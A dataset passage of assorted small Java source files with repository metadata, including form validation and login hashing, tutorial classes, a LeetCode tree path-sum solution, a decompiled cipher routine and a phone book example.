| no_license | RonenMars/Sameat | https://github.com/RonenMars/Sameat | f9ebbdf7ddc85dfe8ffcbd69f3bbeb8ae9f8f8d1 | 761f9406dec4d2471f3e2b6eb22cd32b07ba3321 | refs/heads/master | 2016-09-06T01:53:04.853000 | 2015-07-02T13:02:01 | 2015-07-02T13:02:01 | 32,014,895 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package sameat.util;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import sameat.data.UserDB;
/**
*
* @author RomanPlt
*/
public class Validation {
public static boolean sendMessage(String fname, String email, String message) {
return !(fname==null || fname.isEmpty() || email==null || email.isEmpty()
|| message==null || message.isEmpty());
}
public static boolean newUser(String fname, String lname, String id, String bday, String add, String city, String phone, String email, String usern, String password) {
return !(fname==null || fname.isEmpty() || lname==null || lname.isEmpty()
|| id==null || id.isEmpty() || bday==null || bday.isEmpty() ||
add==null || add.isEmpty() || city==null || city.isEmpty() ||
phone==null || phone.isEmpty() || email==null || email.isEmpty()
|| usern==null || usern.isEmpty() || password==null || password.isEmpty());
}
public static boolean update(String addr , String city , String phone , String email) {
return !(addr==null || addr.isEmpty() || city==null || city.isEmpty()
|| phone==null || phone.isEmpty() || email==null || email.isEmpty());
}
public static int Login(String uid , String uname , String upass) {
ArrayList<String> data=new ArrayList<>();
ArrayList<String> user;
data.add(0 , uid);
data.add(1 , uname);
user=UserDB.getData(data);
switch (user.get(0)) {
case "Error2":
return -1;
case "Error1":
return 0;
}
try {
String inputhash=PasswordUtil.hashAndSaltPassword(upass, user.get(1));
String chash=user.get(0);
if(inputhash.equals(chash)) {
return 1;
}
return 0;
} catch (NoSuchAlgorithmException ex) {
Logger.getLogger(Validation.class.getName()).log(Level.SEVERE, null, ex);
return -2;
}
}
public static int Course(String cName , String cDescr , float cPrice) {
if ("".equals(cName) || "".equals(cDescr) || cPrice<=0)
return 0; //One of the paramaters is wrong
return 1; // Good parameters
}
}
| UTF-8 | Java | 2,675 | java | Validation.java | Java | [
{
"context": "ger;\nimport sameat.data.UserDB;\n\n/**\n *\n * @author RomanPlt\n */\npublic class Validation {\n\n public static ",
"end": 400,
"score": 0.9992149472236633,
"start": 392,
"tag": "USERNAME",
"value": "RomanPlt"
}
]
| null | []
| /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package sameat.util;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import sameat.data.UserDB;
/**
*
* @author RomanPlt
*/
public class Validation {
public static boolean sendMessage(String fname, String email, String message) {
return !(fname==null || fname.isEmpty() || email==null || email.isEmpty()
|| message==null || message.isEmpty());
}
public static boolean newUser(String fname, String lname, String id, String bday, String add, String city, String phone, String email, String usern, String password) {
return !(fname==null || fname.isEmpty() || lname==null || lname.isEmpty()
|| id==null || id.isEmpty() || bday==null || bday.isEmpty() ||
add==null || add.isEmpty() || city==null || city.isEmpty() ||
phone==null || phone.isEmpty() || email==null || email.isEmpty()
|| usern==null || usern.isEmpty() || password==null || password.isEmpty());
}
public static boolean update(String addr , String city , String phone , String email) {
return !(addr==null || addr.isEmpty() || city==null || city.isEmpty()
|| phone==null || phone.isEmpty() || email==null || email.isEmpty());
}
public static int Login(String uid , String uname , String upass) {
ArrayList<String> data=new ArrayList<>();
ArrayList<String> user;
data.add(0 , uid);
data.add(1 , uname);
user=UserDB.getData(data);
switch (user.get(0)) {
case "Error2":
return -1;
case "Error1":
return 0;
}
try {
String inputhash=PasswordUtil.hashAndSaltPassword(upass, user.get(1));
String chash=user.get(0);
if(inputhash.equals(chash)) {
return 1;
}
return 0;
} catch (NoSuchAlgorithmException ex) {
Logger.getLogger(Validation.class.getName()).log(Level.SEVERE, null, ex);
return -2;
}
}
public static int Course(String cName , String cDescr , float cPrice) {
if ("".equals(cName) || "".equals(cDescr) || cPrice<=0)
return 0; //One of the paramaters is wrong
return 1; // Good parameters
}
}
| 2,675 | 0.562991 | 0.557383 | 76 | 34.197369 | 32.918968 | 171 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.526316 | false | false | 1 |
09eb79b48ca68aca72c5bbe3995622371cdda393 | 32,667,521,286,182 | 339d408756ce0bf6519672c40e38a0d71414c549 | /java/src/ru/ifmo/ctddev/melnik/task5/A.java | 24f8697837ec7530c672d74708ba46cff8b03fcc | []
| no_license | ZumZoom/Homework | https://github.com/ZumZoom/Homework | e886ad982ca1f8c2171da387a02045a5b5cff676 | 992d130c9e70b03cdd6cbee73bffa37c86b3f413 | refs/heads/master | 2016-09-08T20:05:42.384000 | 2015-04-28T23:08:31 | 2015-04-28T23:08:31 | 21,472,635 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ru.ifmo.ctddev.melnik.task5;
public class A {
public void test(String a, String b, String c, String d, String e) {
System.out.println(5);
System.out.println(a + " " + b + " " + c + " " + d + " " + e);
}
private void test(String a, String b, String... c) {
System.out.println(6);
System.out.print(a + " " + b);
for (String s : c) {
System.out.print(" " + s);
System.out.println();
}
}
} | UTF-8 | Java | 483 | java | A.java | Java | []
| null | []
| package ru.ifmo.ctddev.melnik.task5;
public class A {
public void test(String a, String b, String c, String d, String e) {
System.out.println(5);
System.out.println(a + " " + b + " " + c + " " + d + " " + e);
}
private void test(String a, String b, String... c) {
System.out.println(6);
System.out.print(a + " " + b);
for (String s : c) {
System.out.print(" " + s);
System.out.println();
}
}
} | 483 | 0.496894 | 0.490683 | 17 | 27.470589 | 22.539162 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.764706 | false | false | 1 |
9a912c9f7dac4adf62c19a6e21af63a91e2b7ee1 | 18,708,877,582,501 | a48ccb8b35c803ceb593928f2b63c702b09799c2 | /app/src/main/java/com/example/myapplication/Adapter.java | a9ae9bc9b33dfa01f43ec283e7197de1bc1c5abf | []
| no_license | asimahmad/Basic-Android | https://github.com/asimahmad/Basic-Android | 381bcc2f985d83cf3ff82cd06ecb70024139362b | 8705ff098d9da2876784242f1837bdce5e947204 | refs/heads/master | 2022-11-14T00:36:12.443000 | 2020-07-01T07:06:59 | 2020-07-01T07:06:59 | 276,301,081 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.myapplication;
public class Adapter {
}
| UTF-8 | Java | 61 | java | Adapter.java | Java | []
| null | []
| package com.example.myapplication;
public class Adapter {
}
| 61 | 0.786885 | 0.786885 | 4 | 14.25 | 14.39401 | 34 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | false | false | 1 |
c3131b3d5a56adfc7f96547c39e667cb1cb4e810 | 16,303,695,896,927 | 15c385ef6a1bd84e85e37b3e9afa2dbe023388df | /src/com/GerbertShildtBeginnigManual/part4/VehicleDemo/VehicleDemo.java | 9b3cbc3993102943f49440fdff24bf2cb2762f6b | []
| no_license | thevoynov/myprog_200919 | https://github.com/thevoynov/myprog_200919 | ed491cf0260af44e8d162378fa6d579d57768283 | a7d3e3b709fbe6711619e88e1758ea4877b3c316 | refs/heads/master | 2021-06-30T19:02:31.984000 | 2021-06-30T14:02:04 | 2021-06-30T14:02:04 | 209,805,021 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.GerbertShildtBeginnigManual.part4.VehicleDemo;
class Vehicle {
int passangers; // количество пассажиров
int fuelcap; // ёмкость топливного бака
int mpg; // потребление топлива в милях на галлон
}
class VehicleDemo {
public static void main(String args[]) {
Vehicle minivan = new Vehicle();
int range;
// Присваивание значений полям в объекте minivan
minivan.passangers = 7;
minivan.fuelcap = 16;
minivan.mpg = 21;
// Расчёт дальности поездки с полным баком горючего
range = minivan.fuelcap * minivan.mpg;
System.out.println("Мини-фургон может перевезти "
+ minivan.passangers + " пассажиров\nна расстояние "
+ range + " миль");
}
} | UTF-8 | Java | 981 | java | VehicleDemo.java | Java | []
| null | []
| package com.GerbertShildtBeginnigManual.part4.VehicleDemo;
class Vehicle {
int passangers; // количество пассажиров
int fuelcap; // ёмкость топливного бака
int mpg; // потребление топлива в милях на галлон
}
class VehicleDemo {
public static void main(String args[]) {
Vehicle minivan = new Vehicle();
int range;
// Присваивание значений полям в объекте minivan
minivan.passangers = 7;
minivan.fuelcap = 16;
minivan.mpg = 21;
// Расчёт дальности поездки с полным баком горючего
range = minivan.fuelcap * minivan.mpg;
System.out.println("Мини-фургон может перевезти "
+ minivan.passangers + " пассажиров\nна расстояние "
+ range + " миль");
}
} | 981 | 0.627075 | 0.619413 | 22 | 34.636364 | 21.201513 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false | 1 |
24c9e71dea0279bc4da19a2a4d7aa08030904745 | 979,252,591,456 | 8645c69457deede66267c99cc7b6abde29a73531 | /srcback/main/core/com/dryork/dc/core/entity/DcColumn.java | 57bee0d2d9727a4eb3541377ff635310f3804a28 | []
| no_license | jsen-joker/DC | https://github.com/jsen-joker/DC | 139d0545eabee8fb39fbd3a8549eea740a630103 | a15bfc82f4ab456971332b87acd981a85455576e | refs/heads/master | 2020-04-08T23:01:45.330000 | 2018-11-30T10:40:54 | 2018-11-30T10:40:54 | 159,808,531 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.dryork.dc.core.entity;
import com.alibaba.dubbo.common.URL;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.experimental.Accessors;
import java.util.List;
import java.util.Map;
import java.util.Set;
/**
* <p>
* </p>
*
* @author jsen
* @since 2018-11-26
*/
@Data
@EqualsAndHashCode(callSuper = false)
@Accessors(chain = true)
public class DcColumn extends AbstractDcBean {
private String local;
private String remote;
private Boolean key;
/**
* sum ignore replace
*/
private String groupType;
/**
* mysql 数据类型
*/
private String type;
private String group;
private DcTable dcTable;
public void dumpToTable() {
if (dcTable == null) {
return;
}
Map<String, DcColumn> dcColumnMap = dcTable.getDcColumnMap();
if (dcColumnMap == null) {
dcColumnMap = Maps.newHashMap();
dcTable.setDcColumnMap(dcColumnMap);
}
dcColumnMap.put(getLocal(), this);
}
public void dumpToMap(Map<String, DcTable> map) {
if (dcTable != null && !map.containsKey(dcTable.getLocal())) {
map.put(dcTable.getLocal(), dcTable);
}
}
public URL genURL(DcApp app) {
StringBuilder builder = new StringBuilder();
builder.append("dc://").append(app.getName());
builder.append("?app=").append(app.getName()).append(".").append(app.getType());
builder.append("&table=").append(dcTable.getLocal()).append(".").append(dcTable.getRemote());
builder.append("&column=").append(getLocal()).append(".").append(getRemote())
.append(".").append(getKey()).append(".").append(getGroupType()).append(".").append(getGroup())
.append(".").append(type)
.append("&category=column");
return URL.valueOf(builder.toString());
}
}
| UTF-8 | Java | 2,013 | java | DcColumn.java | Java | [
{
"context": "t java.util.Set;\n\n/**\n * <p>\n * </p>\n *\n * @author jsen\n * @since 2018-11-26\n */\n@Data\n@EqualsAndHashCode",
"end": 388,
"score": 0.9992971420288086,
"start": 384,
"tag": "USERNAME",
"value": "jsen"
}
]
| null | []
| package com.dryork.dc.core.entity;
import com.alibaba.dubbo.common.URL;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.experimental.Accessors;
import java.util.List;
import java.util.Map;
import java.util.Set;
/**
* <p>
* </p>
*
* @author jsen
* @since 2018-11-26
*/
@Data
@EqualsAndHashCode(callSuper = false)
@Accessors(chain = true)
public class DcColumn extends AbstractDcBean {
private String local;
private String remote;
private Boolean key;
/**
* sum ignore replace
*/
private String groupType;
/**
* mysql 数据类型
*/
private String type;
private String group;
private DcTable dcTable;
public void dumpToTable() {
if (dcTable == null) {
return;
}
Map<String, DcColumn> dcColumnMap = dcTable.getDcColumnMap();
if (dcColumnMap == null) {
dcColumnMap = Maps.newHashMap();
dcTable.setDcColumnMap(dcColumnMap);
}
dcColumnMap.put(getLocal(), this);
}
public void dumpToMap(Map<String, DcTable> map) {
if (dcTable != null && !map.containsKey(dcTable.getLocal())) {
map.put(dcTable.getLocal(), dcTable);
}
}
public URL genURL(DcApp app) {
StringBuilder builder = new StringBuilder();
builder.append("dc://").append(app.getName());
builder.append("?app=").append(app.getName()).append(".").append(app.getType());
builder.append("&table=").append(dcTable.getLocal()).append(".").append(dcTable.getRemote());
builder.append("&column=").append(getLocal()).append(".").append(getRemote())
.append(".").append(getKey()).append(".").append(getGroupType()).append(".").append(getGroup())
.append(".").append(type)
.append("&category=column");
return URL.valueOf(builder.toString());
}
}
| 2,013 | 0.62394 | 0.61995 | 68 | 28.485294 | 24.39292 | 111 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false | 1 |
a65163c4e9fd25ca33a16c21e80aa1815e293330 | 979,252,593,878 | 26b7f30c6640b8017a06786e4a2414ad8a4d71dd | /src/number_of_direct_superinterfaces/i27883.java | ba051d0f3ea5f453ce9a02a016b4c32cac5da674 | []
| no_license | vincentclee/jvm-limits | https://github.com/vincentclee/jvm-limits | b72a2f2dcc18caa458f1e77924221d585f23316b | 2fd1c26d1f7984ea8163bc103ad14b6d72282281 | refs/heads/master | 2020-05-18T11:18:41.711000 | 2014-09-14T04:25:18 | 2014-09-14T04:25:18 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package number_of_direct_superinterfaces;
public interface i27883 {} | UTF-8 | Java | 69 | java | i27883.java | Java | []
| null | []
| package number_of_direct_superinterfaces;
public interface i27883 {} | 69 | 0.826087 | 0.753623 | 3 | 22.333334 | 16.937796 | 41 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | false | false | 1 |
7042ccfb6ecd28b0e6e25ada99a825020f400e36 | 7,490,423,013,144 | 7cca81d09a5861f46dca5803e57650250a042e4f | /Tree/437. Path Sum III.java | b93b4371ef1b74755151b953de02aafb39418574 | []
| no_license | NEU-ZYXi/LeetCode-Java | https://github.com/NEU-ZYXi/LeetCode-Java | bfdec95beadfda01c4aa2f193073188b0f2581cb | a640ef86c91084d45225bbee48d1f4be6bd73603 | refs/heads/master | 2020-04-09T12:17:10.409000 | 2019-09-23T02:27:26 | 2019-09-23T02:27:26 | 160,343,128 | 10 | 5 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
You are given a binary tree in which each node contains an integer value.
Find the number of paths that sum to a given value.
The path does not need to start or end at the root or a leaf,
but it must go downwards (traveling only from parent nodes to child nodes).
The tree has no more than 1,000 nodes and the values are in the range -1,000,000 to 1,000,000.
Example:
root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
10
/ \
5 -3
/ \ \
3 2 11
/ \ \
3 -2 1
Return 3. The paths that sum to 8 are:
1. 5 -> 3
2. 5 -> 2 -> 1
3. -3 -> 11
*/
/*
Solution 1: O(nlogn),O(logn)
*/
public int pathSum(TreeNode root, int sum) {
if (root == null) return 0;
return dfs(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
}
private int dfs(TreeNode root, int sum) {
if (root == null) return 0;
sum -= root.val;
int cnt = sum == 0 ? 1 : 0;
return cnt + dfs(root.left, sum) + dfs(root.right, sum);
}
/*
Solution 2: keep adding to prefix sum of each path and use a hashmap to track, check the number of sub-path with target=cur-sum
O(n),O(n)
*/
public int pathSum(TreeNode root, int sum) {
if (root == null) return 0;
Map<Integer, Integer> memo = new HashMap<>();
memo.put(0, 1);
return dfs(root, memo, sum, 0);
}
private int dfs(TreeNode root, Map<Integer, Integer> memo, int sum, int cur) {
if (root == null) return 0;
cur += root.val;
int ans = memo.getOrDefault(cur - sum, 0);
memo.put(cur, memo.getOrDefault(cur, 0) + 1);
ans += dfs(root.left, memo, sum, cur) + dfs(root.right, memo, sum, cur);
memo.put(cur, memo.get(cur) - 1);
return ans;
}
| UTF-8 | Java | 1,676 | java | 437. Path Sum III.java | Java | []
| null | []
|
/*
You are given a binary tree in which each node contains an integer value.
Find the number of paths that sum to a given value.
The path does not need to start or end at the root or a leaf,
but it must go downwards (traveling only from parent nodes to child nodes).
The tree has no more than 1,000 nodes and the values are in the range -1,000,000 to 1,000,000.
Example:
root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8
10
/ \
5 -3
/ \ \
3 2 11
/ \ \
3 -2 1
Return 3. The paths that sum to 8 are:
1. 5 -> 3
2. 5 -> 2 -> 1
3. -3 -> 11
*/
/*
Solution 1: O(nlogn),O(logn)
*/
public int pathSum(TreeNode root, int sum) {
if (root == null) return 0;
return dfs(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
}
private int dfs(TreeNode root, int sum) {
if (root == null) return 0;
sum -= root.val;
int cnt = sum == 0 ? 1 : 0;
return cnt + dfs(root.left, sum) + dfs(root.right, sum);
}
/*
Solution 2: keep adding to prefix sum of each path and use a hashmap to track, check the number of sub-path with target=cur-sum
O(n),O(n)
*/
public int pathSum(TreeNode root, int sum) {
if (root == null) return 0;
Map<Integer, Integer> memo = new HashMap<>();
memo.put(0, 1);
return dfs(root, memo, sum, 0);
}
private int dfs(TreeNode root, Map<Integer, Integer> memo, int sum, int cur) {
if (root == null) return 0;
cur += root.val;
int ans = memo.getOrDefault(cur - sum, 0);
memo.put(cur, memo.getOrDefault(cur, 0) + 1);
ans += dfs(root.left, memo, sum, cur) + dfs(root.right, memo, sum, cur);
memo.put(cur, memo.get(cur) - 1);
return ans;
}
| 1,676 | 0.613365 | 0.571599 | 66 | 24.30303 | 28.179602 | 127 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.969697 | false | false | 1 |
76c936db44ef82ae9c1cdc062abaea5258516681 | 6,399,501,320,385 | bfa28aaf277bbcd65d8eed6c832fef8ddcb1103c | /Pinterest/source/src/com/google/android/gms/internal/qn.java | 0c468408c469fd3ae03ba2276ae37753447adf19 | []
| no_license | TheFinestArtist/JAVA-Android-Learning | https://github.com/TheFinestArtist/JAVA-Android-Learning | bfc26dd8928019884bad0fdd97319afbcd27e515 | a0182eb967b8cec9774bbf2cbff0a3953f7be3f9 | refs/heads/master | 2020-12-28T23:16:55.096000 | 2015-09-11T09:07:32 | 2015-09-11T09:07:32 | 35,862,779 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.google.android.gms.internal;
public class qn
{
private final byte ayJ[] = new byte[256];
private int ayK;
private int ayL;
public qn(byte abyte0[])
{
for (int i = 0; i < 256; i++)
{
ayJ[i] = (byte)i;
}
int k = 0;
for (int j = 0; j < 256; j++)
{
k = k + ayJ[j] + abyte0[j % abyte0.length] & 0xff;
byte byte0 = ayJ[j];
ayJ[j] = ayJ[k];
ayJ[k] = byte0;
}
ayK = 0;
ayL = 0;
}
public void o(byte abyte0[])
{
int k = ayK;
int j = ayL;
for (int i = 0; i < abyte0.length; i++)
{
k = k + 1 & 0xff;
j = j + ayJ[k] & 0xff;
byte byte0 = ayJ[k];
ayJ[k] = ayJ[j];
ayJ[j] = byte0;
abyte0[i] = (byte)(abyte0[i] ^ ayJ[ayJ[k] + ayJ[j] & 0xff]);
}
ayK = k;
ayL = j;
}
}
| UTF-8 | Java | 1,142 | java | qn.java | Java | [
{
"context": "// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.\n// Jad home page: http://www.geocities.com/kpdus",
"end": 61,
"score": 0.9996786117553711,
"start": 45,
"tag": "NAME",
"value": "Pavel Kouznetsov"
}
]
| null | []
| // Decompiled by Jad v1.5.8e. Copyright 2001 <NAME>.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.google.android.gms.internal;
public class qn
{
private final byte ayJ[] = new byte[256];
private int ayK;
private int ayL;
public qn(byte abyte0[])
{
for (int i = 0; i < 256; i++)
{
ayJ[i] = (byte)i;
}
int k = 0;
for (int j = 0; j < 256; j++)
{
k = k + ayJ[j] + abyte0[j % abyte0.length] & 0xff;
byte byte0 = ayJ[j];
ayJ[j] = ayJ[k];
ayJ[k] = byte0;
}
ayK = 0;
ayL = 0;
}
public void o(byte abyte0[])
{
int k = ayK;
int j = ayL;
for (int i = 0; i < abyte0.length; i++)
{
k = k + 1 & 0xff;
j = j + ayJ[k] & 0xff;
byte byte0 = ayJ[k];
ayJ[k] = ayJ[j];
ayJ[j] = byte0;
abyte0[i] = (byte)(abyte0[i] ^ ayJ[ayJ[k] + ayJ[j] & 0xff]);
}
ayK = k;
ayL = j;
}
}
| 1,132 | 0.441331 | 0.408056 | 52 | 20.961538 | 18.620668 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.538462 | false | false | 1 |
dac62b7bca75cc42f8d79a83fe5a14a7324ed064 | 6,399,501,322,225 | 5c7bdd5a296cdb43629c27751accd4d779ea4de0 | /src/aprilTwentythree/fourthTask/Car.java | 0a337e2fd766b81a552d4e359b815a751710251e | []
| no_license | egorderzhanovich/HM | https://github.com/egorderzhanovich/HM | 43a3432daf188cf4bc56af002a8a9a0b427a46fb | 18d67c5bbc2eabd8feac36fdb966f757db478c15 | refs/heads/master | 2023-05-07T14:08:08.706000 | 2021-05-31T14:12:46 | 2021-05-31T14:12:46 | 361,280,154 | 1 | 0 | null | false | 2021-06-02T10:36:23 | 2021-04-24T22:30:35 | 2021-05-31T14:12:49 | 2021-06-02T10:36:19 | 52 | 0 | 0 | 2 | Java | false | false | package aprilTwentythree.fourthTask;
import java.io.Serializable;
import java.util.Objects;
public class Car implements Serializable {
private String carModel;
private int maxSpeed;
private int price;
public Car(String carModel, int maxSpeed, int price) {
this.carModel = carModel;
this.maxSpeed = maxSpeed;
this.price = price;
}
public String getCarModel() {
return carModel;
}
public int getMaxSpeed() {
return maxSpeed;
}
public int getPrice() {
return price;
}
@Override
public String toString() {
return "Car{" +
"carModel='" + carModel + '\'' +
", maxSpeed=" + maxSpeed +
", price=" + price +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Car)) return false;
Car car = (Car) o;
return maxSpeed == car.maxSpeed &&
price == car.price &&
Objects.equals(carModel, car.carModel);
}
@Override
public int hashCode() {
return Objects.hash(carModel, maxSpeed, price);
}
}
| UTF-8 | Java | 1,202 | java | Car.java | Java | []
| null | []
| package aprilTwentythree.fourthTask;
import java.io.Serializable;
import java.util.Objects;
public class Car implements Serializable {
private String carModel;
private int maxSpeed;
private int price;
public Car(String carModel, int maxSpeed, int price) {
this.carModel = carModel;
this.maxSpeed = maxSpeed;
this.price = price;
}
public String getCarModel() {
return carModel;
}
public int getMaxSpeed() {
return maxSpeed;
}
public int getPrice() {
return price;
}
@Override
public String toString() {
return "Car{" +
"carModel='" + carModel + '\'' +
", maxSpeed=" + maxSpeed +
", price=" + price +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Car)) return false;
Car car = (Car) o;
return maxSpeed == car.maxSpeed &&
price == car.price &&
Objects.equals(carModel, car.carModel);
}
@Override
public int hashCode() {
return Objects.hash(carModel, maxSpeed, price);
}
}
| 1,202 | 0.551581 | 0.551581 | 52 | 22.115385 | 16.805052 | 58 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.480769 | false | false | 1 |
922571053fff77da66702d18f3d5651d401d1a67 | 33,560,874,505,551 | 31f3b060a62f30caa1f362814d66eec82894b348 | /dcae_dmaapbc_webapp/dbca-common/src/main/java/org/onap/dcae/dmaapbc/model/DmaapObject.java | 15fdd1fba7b73691e4dbee90097571859f5ee794 | [
"Apache-2.0"
]
| permissive | JLLeitschuh/ui-dmaapbc | https://github.com/JLLeitschuh/ui-dmaapbc | c5f2deb2314d632fd97285bdfbd39e99fddc3c4e | 60382c78c8a88ee5b5aa1c7e2d6cb4e32eddc10f | refs/heads/master | 2021-01-02T20:39:00.780000 | 2018-05-10T06:16:36 | 2018-05-10T06:16:45 | 239,791,424 | 0 | 0 | NOASSERTION | true | 2020-11-17T16:12:49 | 2020-02-11T15:08:50 | 2020-02-11T15:08:52 | 2020-11-17T16:12:48 | 12,457 | 0 | 0 | 3 | null | false | false | /*-
* ================================================================================
* DCAE DMaaP Bus Controller Models
* ================================================================================
* Copyright (C) 2017 AT&T Intellectual Property
* ================================================================================
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ================================================================================
*/
package org.onap.dcae.dmaapbc.model;
/**
* Parent class for all DMaaP BC models.
*/
public abstract class DmaapObject {
public enum Dmaap_Status {
EMPTY, NEW, STAGED, VALID, INVALID, DELETED
}
/** time stamp when object was last modified */
private String lastMod;
/** indicator of health of this object using values common in this API */
private Dmaap_Status status;
/** TODO */
private String type;
public DmaapObject() {
}
public DmaapObject(String lastMod, Dmaap_Status status) {
this.lastMod = lastMod;
this.status = status;
}
public String getLastMod() {
return lastMod;
}
public void setLastMod(String lastMod) {
this.lastMod = lastMod;
}
public Dmaap_Status getStatus() {
return status;
}
public void setStatus(Dmaap_Status status) {
this.status = status;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
}
| UTF-8 | Java | 1,912 | java | DmaapObject.java | Java | []
| null | []
| /*-
* ================================================================================
* DCAE DMaaP Bus Controller Models
* ================================================================================
* Copyright (C) 2017 AT&T Intellectual Property
* ================================================================================
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ================================================================================
*/
package org.onap.dcae.dmaapbc.model;
/**
* Parent class for all DMaaP BC models.
*/
public abstract class DmaapObject {
public enum Dmaap_Status {
EMPTY, NEW, STAGED, VALID, INVALID, DELETED
}
/** time stamp when object was last modified */
private String lastMod;
/** indicator of health of this object using values common in this API */
private Dmaap_Status status;
/** TODO */
private String type;
public DmaapObject() {
}
public DmaapObject(String lastMod, Dmaap_Status status) {
this.lastMod = lastMod;
this.status = status;
}
public String getLastMod() {
return lastMod;
}
public void setLastMod(String lastMod) {
this.lastMod = lastMod;
}
public Dmaap_Status getStatus() {
return status;
}
public void setStatus(Dmaap_Status status) {
this.status = status;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
}
| 1,912 | 0.586297 | 0.582113 | 70 | 26.314285 | 26.340378 | 83 | false | false | 0 | 0 | 0 | 0 | 81 | 0.169456 | 1 | false | false | 1 |
7b92b0c1118eeada795300975d62ca87ec59f7b1 | 33,560,874,505,128 | 2afc32af5b3df8f616b6e39040219c66be6f1c0f | /src/java2/lesson3/PhoneBook.java | 5938eb1bea000e25c845841d130c2cd5320c4ed1 | []
| no_license | Valerych-gif/Java2 | https://github.com/Valerych-gif/Java2 | eceb3f47f0ccefffe1400e79bc9bc41dc2661137 | f6f2429550e17e66ec202100d4c0425ca2efe2b5 | refs/heads/master | 2021-04-19T11:58:16.988000 | 2020-04-25T05:47:13 | 2020-04-25T05:47:13 | 249,603,781 | 0 | 0 | null | false | 2020-05-01T18:37:00 | 2020-03-24T03:28:47 | 2020-04-25T05:47:17 | 2020-05-01T17:51:29 | 26 | 0 | 0 | 1 | Java | false | false | package java2.lesson3;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
public class PhoneBook {
static HashMap<String, ArrayList<String>> phoneBook = new HashMap<>();
static String phoneOwner;
public static void main(String[] args) {
add("Ленин", "+7 (555) 123-45-01");
add("Сталин", "+7 (555) 123-45-02");
add("Малинков", "+7 (555) 123-45-03");
add("Хрущев", "+7 (555) 123-45-04");
add("Брежнев", "+7 (555) 123-45-05");
add("Андропов", "+7 (555) 123-45-06");
add("Черненко", "+7 (555) 123-45-07");
add("Горбачев","+7 (555) 123-45-08");
add("Ельцин","+7 (555) 123-45-09");
add("Путин","+7 (555) 123-45-10");
add("Медведев","+7 (555) 123-45-11");
add("Путин","+7 (555) 123-45-12");
System.out.println(phoneBook);
Iterator<String> iter;
phoneOwner = "Горбачев";
printPhoneOwnerData(phoneOwner);
phoneOwner = "Путин";
printPhoneOwnerData(phoneOwner);
phoneOwner = "Иванов";
printPhoneOwnerData(phoneOwner);
}
private static void add(String name, String phoneNumber){
ArrayList<String> arrayList = new ArrayList<>();
if (phoneBook.containsKey(name)){
arrayList=phoneBook.get(name);
}
arrayList.add(phoneNumber);
phoneBook.put(name, arrayList);
}
private static Iterator<String> get(String name){
return phoneBook.get(name)!=null?phoneBook.get(name).iterator():null;
}
private static void printPhoneOwnerData (String phoneOwner){
Iterator <String> iter=get(phoneOwner);
if (iter==null) {
System.out.println("Абонент " + phoneOwner + " не найден");
return;
}
System.out.println("Все телефоны абонента " + phoneOwner);
while (iter.hasNext()){
System.out.println(iter.next()+ " ");
}
}
}
| UTF-8 | Java | 2,101 | java | PhoneBook.java | Java | [
{
"context": "ic static void main(String[] args) {\n add(\"Ленин\", \"+7 (555) 123-45-01\");\n add(\"Сталин\", \"+",
"end": 300,
"score": 0.9998642802238464,
"start": 295,
"tag": "NAME",
"value": "Ленин"
},
{
